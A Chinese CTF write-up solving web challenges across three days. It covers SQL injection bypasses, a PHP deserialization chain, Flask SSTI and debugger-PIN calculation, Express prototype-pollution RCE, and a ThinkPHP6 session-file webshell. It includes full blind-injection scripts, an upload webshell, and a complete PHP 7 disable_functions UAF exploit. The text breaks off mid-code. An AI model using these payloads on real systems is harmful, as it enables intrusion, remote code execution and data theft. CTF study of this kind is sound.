这个比赛应该不会有2021了吧?
Day1
简单的招聘系统
对用户名进行注入,登录后看回显即可
payload:'+(select conv(substr(hex((select GROUP_CONCAT(flaaag) from flag)),1,10),16,10))+'
得到后转16进制再转字符串即是flag
Ezupload
这题也是裸奔,直接传个一句话上去/readflag
就行了
盲注
<?php
# flag在fl4g里
# union select < > = like between
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();
$id = $_GET['id'];
if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);
这题过滤了select
,也看不出可以堆叠就不知道怎么整,没想到那个f14g
是列名。至于其它的like,=,>,<
被过滤都是小问题,一个regexp
就能绕过
看了wp才知道还有这种操作if(length(database()) regexp 4,sleep(3),1)
好好想想确实,返回的既然是一个数确实没问题
不过这个就真的没想到if(ascii(substr(fl4g,1,1)) = 102 ,sleep(3),1)
居然可以直接用列名,学习了学习了,以后盲注连select
都省了hhh
easyphp
这题挺有意思的,可惜做的时间太晚了,8点多才开始做,出flag时已经11点了有可惜
进入提示有后门,狗妈i了i了
于是扫一下,发现www.zip
,下载得到源码
先看login.php
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>
可以看到又是把select过滤了,而且进到lib里
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
可以看到使用了预处理,也就是就算有办法绕过但在预处理的作用下也无法注入
不过既然题目提示了后门,那应该就不是通过这里去注入。于是去看看其它
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
update.php
提示是一个未完成的页面,应该就是后门
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
update()
中有个反序列化,八成是序列化的题了,再跟下去
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
getNewInfo()
中将实例化的info类给序列化,然后用safe()
处理了一下序列化后的字符串
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
当时第一眼看safe()
,就只是觉得是单纯的防sql,但没想到是这题的突破点
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
跟进到Info类中,__call()
中使用了login()
,很容易就能想到触发这里然后让CtrlCase
为dbCtrl类,这样就能执行任意sql了。但CtrlCase
并无法控制
这时又往上翻,看到了User类中的__destruct()
public function __destruct(){
return file_get_contents($this->nickname);//危
}
就想能不能触发这个,但总觉得不会是这里于是又找了一下其它链
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
User类中还有一个__toString()
,里面调用的update()
正好是Info类中没有的,那可以让nickname
为Info类去触发__call()
然后就是该怎么触发__toString()
了,在UpdateHelper类中看到
public function __destruct()
{
echo $this->sql;
}
__destruct()
将sql
作为字符串输出,那又是要将sql
为User类
最后又回到最初的问题,要怎么控制反序列化
这时再看了一次safe()
,发现里面过滤了\
,当时没细看,以为是把\
替代为空,就想着能不能利用这里,把转义的\"
的\
去掉。但测试了一下大失所望
<?php
class A{
public $a="\"";
}
$a =new A();
echo serialize($a);
随便整一个类输出一下
发现反序列化时并没用转义,而是先匹配一个"
,再匹配等长度的字符串,最后再匹配一个"
。字符串中就算带有"
也不会作为结束的"
进行匹配
于是又回去看了一眼safe()
,发现是替代为hacker
,突然就明白了。这里要利用safe()
,将短于hacker
的字符串扩增长度为6,以匹配长度。然后用"
绕出,控制下一个参数。至于原本在后面的,用}
结尾就不会再往后解析
一开始尝试的是直接利用User类中的__destruct()
,但发现flag
被过滤了,于是就走另一条路UpdateHelper:__destruct() -> User:__toString() -> Info:__call() -> dbCtrl:login()
然后利用* flag
替换为hacker
补全
<?php
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl();
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function __construct(){
$this->nickname = new Info();
$this->age = "select a,1 from user where a!=? limit 1";
}
public function __toString()
{
$this->nickname->update($this->age);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct(){
$sql = new User();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password = 1;
public $mysqli;
public $token;
}
$info = new Info();
$info->age = '';
$info->nickname = '';
$info->CtrlCase = new UpdateHelper();
$info->CtrlCase->sql = new User();
$info->CtrlCase->sql->nickname = new Info();
$info->CtrlCase->sql->age = "select password,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=? or 1=1 limit 1";
$info->CtrlCase->sql->nickname->CtrlCase = new dbCtrl();
echo serialize($info)
$info->age = '';
$info->nickname = 'flag**********************************************************************************************";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:92:"select password,"c4ca4238a0b923820dcc509a6f75849b" from user where username=? or 1=1 limit 1";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";N;s:8:"password";i:1;s:6:"mysqli";N;s:5:"token";N;}}}}}';
$e = safe(serialize($info));
echo $e;
unserialize($e);
获得密码,解密为glzjin
登录得到flag
一开始用的是Info中的nickname
导致这里
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
作为字符串使用出了错(突然想到是不是可以利用这里去触发User类的__toString()
),搞了好久,改用CtrlCase
就可以了。细节上还是要多注意
Day2
第二日为sql专场
easysqli_copy
<?php
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}
PDO注入,之前因为整hgame过PDO的问题,这里一看用了gbk就知道是宽字节注入
从宽字节注入认识PDO的原理和正确使用
而且并没有设置PDO::MYSQL_ATTR_MULTI_STATEMENTS
为false
,那直接预处理,过滤基本可以无视掉
直接正常的盲注语句,转为16进制后套入1%df';SET @sql=concat(char(SQL));PREPARE kaze from @sql;EXECUTE kaze;
# -*- coding:utf8 -*-
import requests
import re
import time
url = r'http://36409258b50b4e7b926962b4d73e229154a22bab28ea429a.changame.ichunqiu.com/?id='
l1 = 0
r1 = 100
while(l1<=r1):
mid1 = (l1 + r1)/2
# payload = "select sleep(((select length(group_concat(column_name)) from information_schema.columns where table_name=0x7461626c6531)="+str(mid1)+")*9);"
payload = "select sleep(((select length(group_concat(fllllll4g)) from table1)="+str(mid1)+")*9);"
print payload
p = ''
for c in payload:
p = p+str(ord(c))+','
p = p[:-1]
pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
print pid
http = requests.get(url+pid)
if http.status_code == 200:
# payload = "select sleep(((select length(group_concat(column_name)) from information_schema.columns where table_name=0x7461626c6531)>"+str(mid1)+")*9);"
payload = "select sleep(((select length(group_concat(fllllll4g)) from table1)>"+str(mid1)+")*9);"
print payload
p = ''
for c in payload:
p = p+str(ord(c))+','
p = p[:-1]
pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
print pid
http = requests.get(url+pid)
if http.status_code == 200:
r1 = mid1 - 1
else:
l1 = mid1 + 1
else:
break
print
print str(mid1)
k = ''
for j in range(28,42):
l2 = 0
r2 = 128
while(l2<=r2):
mid2 = (l2 + r2)/2
# payload = "select sleep((ord(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7461626c6531),"+str(j+1)+",1))="+str(mid2)+")*9);"
payload = "select sleep((ord(mid((select group_concat(fllllll4g) from table1),"+str(j+1)+",1))="+str(mid2)+")*9);"
print payload
p = ''
for c in payload:
p = p+str(ord(c))+','
p = p[:-1]
pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
print pid
http = requests.get(url+pid)
if http.status_code == 200:
# payload = "select sleep((ord(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7461626c6531),"+str(j+1)+",1))>"+str(mid2)+")*9);"
payload = "select sleep((ord(mid((select group_concat(fllllll4g) from table1),"+str(j+1)+",1))>"+str(mid2)+")*9);"
print payload
p = ''
for c in payload:
p = p+str(ord(c))+','
p = p[:-1]
pid = "1%df%27;SET %40sql%3dconcat(char("+p+"));PREPARE kaze from %40sql;EXECUTE kaze;"
print pid
http = requests.get(url+pid)
if http.status_code == 200:
r2 = mid2 - 1
else:
l2 = mid2 + 1
else:
break
print
k = k+chr(mid2)
print k
# balabala,eihey,fllllll4g,bbb
# flag{48143b11-440f-438e-8cfa-2afe386790a9}
不过一开始不知道为什么跑不动表名,不过长度可以跑。确认长度是6,库中只有一个table1表后跑列值都没问题(为啥?
blacklist
这题看起来像强网杯的题,然而把预处理也过滤了,绝望.jpgreturn preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
0';show tables;
可以看到flag的表名FlagHere
后面又是奇淫技巧了,mysql中有handler
这个关键字
mysql查询语句-handler
可以通过这个关键字,能使用多行sql以及在知道表名的情况下,不用select
直接读列handler a open;handler a read first; 读第一行
handler a open;handler a read next; 读下一行
于是payload就是0';handler FlagHere open;handler FlagHere read first;
Ezsqli
BUU灵魂前端x
这题很难受,in
和or
被过滤,有root权限但information_schema
库和mysql.innodb_table_stats
表都读不了。union.*select,join
被过滤,用不了无列名注入
当时搜集信息时发现是有sys
库的权限的,但知识不足没往这个方向想sys
中有这两个表x$schema_flattened_keys
,schema_table_statistics
可以获得表名信息,不过发现sys
库中带有table
的库名大多都会保存表名信息,以后可以多利用利用,不过需要mysql5.7
以上
有这个表,通过盲注就可以注出表名了
1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())>30))*999*pow(999,102)
1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),1,1))=96)))*999*pow(999,102)
# -*- coding:utf8 -*-
import requests
url = r'http://23e8f874-c41f-4e92-9dba-3804e07c9676.node3.buuoj.cn/index.php'
l1 = 0
r1 = 100
while(l1<=r1):
mid1 = (l1 + r1)/2
payload = "1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())="+str(mid1)+"))*999*pow(999,102)"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if "Error Occured When Fetch Result." in http.text:
payload = "1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())>"+str(mid1)+"))*999*pow(999,102)"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if "Error Occured When Fetch Result." in http.text:
r1 = mid1 - 1
else:
l1 = mid1 + 1
else:
break
print
print str(mid1)
k = ''
for j in range(mid1):
l2 = 0
r2 = 128
while(l2<=r2):
mid2 = (l2 + r2)/2
payload = "1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),"+str(j+1)+",1))="+str(mid2)+")))*999*pow(999,102)"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if "Error Occured When Fetch Result." in http.text:
payload = "1 && (select((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),"+str(j+1)+",1))>"+str(mid2)+")))*999*pow(999,102)"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if "Error Occured When Fetch Result." in http.text:
r2 = mid2 - 1
else:
l2 = mid2 + 1
else:
break
print
k = k+chr(mid2)
print k
# f1aq_1s_h3r3_@hhhh,users233383333333333
然后就是无列名注入了,这里继续是奇淫技巧
我们可以通过这样去比较两个检索结果,mysql中会对其一个个字段值进行比较并返回真假
于是测试了一下
select ((select 1,2) < (select 1,2))
0
select ((select 1,2) = (select '1',2))
1
select ((select 1,2) > (select '!',2))
1
select ((select 1,2) > (select 'a',2))
1
select ((select 1,2) > (select 0,3))
0
select ((select 'a',2) = (select 'A',2))
1
可以看到,当比较数字与其它时,都会转为int来比较。同时是按顺序比较,第二个值的比较结果并不会影响第一个值的比较结果。还有同mysql中许多比较字符的函数一样,不区分大小写。当然最重要的是要列数相等
可以使用binary去将字符串转为二进制这样就可以区分大小写,但过滤了in时就用不了
可以换使用concat("a",CAST(0 AS JSON)),CAST(0 AS JSON)
出来的值为二进制字符串,concat连接后整个字符串都为二进制
测试一下
SELECT (concat("a",CAST(0 AS JSON)) = concat("A",CAST(0 AS JSON)))
0
SELECT (concat("a",CAST(0 AS JSON)) = concat("a",CAST(0 AS JSON)))
1
确实可以区分大小写
于是合并一下,并改成查询就是1 && (select((select * from table) > (select 1,concat("!",cast(0 as json)))))
原题列数or
被过滤用不了order by
,可以用group by
来得出列数。BUU上吧.+by
过滤了,可以改用这样1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,1)))
两列时error,其它都返回false
然后BUU上又把.+limit
给过滤了,不过既然只有一行就不limit 1
了
本来应该是这样子的1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,concat("!",cast(0 as json)))))
但不知道BUU的环境搞什么鬼,cast(0 as json)
用不了,直接cast(1 as json)
都false,正常应该是Nu1L才对。不能用就算了,反正BUU的flag都是小写(面向BUU注入x
# -*- coding:utf8 -*-
import requests
url = r'http://23e8f874-c41f-4e92-9dba-3804e07c9676.node3.buuoj.cn/index.php'
flag = "FLAG{CAE1F318-2684-4607-B254-74B06DE155AB}"
for i in range(100):
for j in range(32,127):
if j != 34 and j!= 92:
payload = "1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,\""+flag+chr(j)+"\")))"
print payload
data = {"id":payload}
http = requests.post(url,data=data)
if http.status_code == 200:
if "Nu1L" not in http.text:
break
payload = "1 && (select((select * from f1ag_1s_h3r3_hhhhh) = (select 1,\""+flag+chr(j)+"\")))"
data = {"id":payload}
http = requests.post(url,data=data)
if "Nu1L" in http.text:
flag += chr(j)
break
else:
flag += chr(j-1)
print
print flag
print
print flag.lower()
要命的是正好跑到最后正好是by
被过滤了,整了好久
Day3
最后一天有点累就没怎么打
Flaskapp
这题考的是PIN码,不过实际上好像并没用过滤到位,导致还是能直接SSTI
关于python的PIN码
从一道ctf题谈谈flask开启debug模式存在的安全问题
简单来说就是能够通过搜集,获得生成PIN码的元素,并且在debug开启下可以通过PIN码通过认证进行RCE
这题因为是Flask所以当时用的是{ {config.from_pyfile()} }
去读取文件,没想到这个的权限不足以读取/etc/passwd
,但通过其它方式可以
这是大佬们给出的payload{ % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('file', 'r').read() }}{ % endif %}{ % endfor %}
(这里由于hexo的问题,需要删掉{和%间的空格)
原来SSTI还能这么操作,学到了学到了
通过这样读取这几个文件
/sys/class/net/eth0/address 获得mac地址
/etc/passwd 获得用户名
/proc/self/cgroup 获得machine-id
这里要注意的是docker下从/etc/machine-id
得到的machine-id是算不正确PIN的
然后报错页面获得路径/usr/local/lib/python3.7/site-packages/flask/app.py
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485410388583',# str(uuid.getnode()), /sys/class/net/ens33/address , print(0x0242ac120002)
'aedaaf24655d2a9c5385bc3a9b1eb97f5c4f81d2d41a1ab0a986c8d0e3d0389c'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
脚本填入对应的值,跑一下就出了
然后进入debug页面(就解码的页面随便输个错误的base64编码值),用PIN码进入python shell
不过os.system()
被过滤,可以用os.popen()
代替扫目录
读flag
当然更简单的就是
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls /').read()}}
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /this_is_the_fla\g.txt').read()}}
用fla\g
绕过flag
的过滤
现在想想当时明明知道是python3为什么一直在用python2找能用的模块(傻了
ezExpress
express,又是原型链
进入提示要admin账号,那自然是不能注册为admin的
注册个其他账号进入,查看源码发现www.zip
,拿下来
/route/index.js
中用了merge()
和clone()
,必是原型链了
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
往下找到clone()
的位置
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
需要admin账号才能用到clone()
于是去到/login
处
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到
'user':req.body.userid.toUpperCase(),
这里将user给转为大写了,这种转编码的通常都很容易出问题,于是测试一下
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script type="text/javascript">
var arr = new Array();
for(var i = 0;i < 26;i++){
arr[i] = new Array();
}
for(var i = 0;i < 65536;i++){
j = String.fromCharCode(i).toUpperCase();
if(j.length == 1){
c = j.charCodeAt(0);
if(c>64&&c<91){
l = arr[c-65].length;
arr[c-65][l] = i;
}
}
}
for(var i = 0;i < 26;i++){
document.write("<p>"+String.fromCharCode(i+65)+":</p>");
document.write("<p>");
for(j = 0;j < arr[i].length;j++){
document.write(arr[i][j]+",");
}
document.write("</p>");
}
</script>
</body>
</html>
可以看到结果中
I:
73,105,305,
S:
83,115,383,
I和S都有3个值能够toUpperCase()
后为自身,除了大小写外还有其它toUpperCase()
后能为I和S。那正好利用I的第三个值去绕过正则检测并在toUpperCase()
后为I
当然toUpperCase()
有转码的问题toLowerCase()
也有,可以改一下去测试(不过不要用edge测)
能登入为admin账号后,就该开始找要污染的参数
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
可以看到在/info
下,使用将outputFunctionName
渲染入index
中,而outputFunctionName
是未定义的
res.outputFunctionName=undefined;
也就是可以通过污染outputFunctionName
进行SSTI
于是抓/action
的包,Content-Type
设为application/json
通过报错查到项目路径
于是将flag写入到/app/public/flag
Payload:{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/flag');var _tmp2"}}
然后访问/info
后再去/flag
拿到flag
除此之外还能直接return在访问/info
返回flag文件(需要同步执行{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}
官方的wp给的是反弹shell,但怎样都成功不了懵逼
easy_thinking
看题名感觉就是TP的题,居然是TP6的漏洞,果然新出的版本问题多
随便访问一下可以看到是TP6.0
然后扫一下发现又是在www.zip
源码泄露
public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}
}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}
一开始还以为又是sql注入,不过看了search的源码后,发现根本没用到数据库。倒是把搜索值写入了session中,于是查一下tp6关于session的漏洞
看到这篇
ThinkPHP6 任意文件操作漏洞分析
我们可以控制PHPSESSID
为32位长度(包含后缀名)去控制session文件名,然后利用逻辑上的漏洞往session中写入一个shell,这样就可以通过session文件执行一句话
于是像这样在登录处构造PHPSESSID
在搜索处写入php代码
发现system()
不能用,于是查看disable_functions
执行命令的函数基本被过滤,虽然putenv
没被过滤,但error_log
和mail
都被过滤了
而官方wp给出的gnupg扩展BUU并没有(就是用gnupg_init()
,其它相同)
于是先看看flag在哪
可以看到要用readflag去读flag
接着四处寻找找到了这里
exploits
修改一下要执行的命令即可
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
不过脚本太大要先整一个上传文件脚本上去
file_put_contents('kotori.html','<html><body><form action="kotori.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id="file" /><input type="submit" name="submit" value="Submit" /></form></body></html>');
file_put_contents('kotori.php','<?php if (file_exists("./".$_FILES["file"]["name"])){echo $_FILES["file"]["name"]."already exists.";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"./".$_FILES["file"]["name"]);echo "Stored in: "."./".$_FILES["file"]["name"];}?>');
然后上传脚本访问得到flag
至于这个脚本的原理就是pwn方向的东西了Orz
NodeGame
拿下源码,读到/file_upload
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
可以看到上传接口只允许本地访问
往下看,看到/core
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
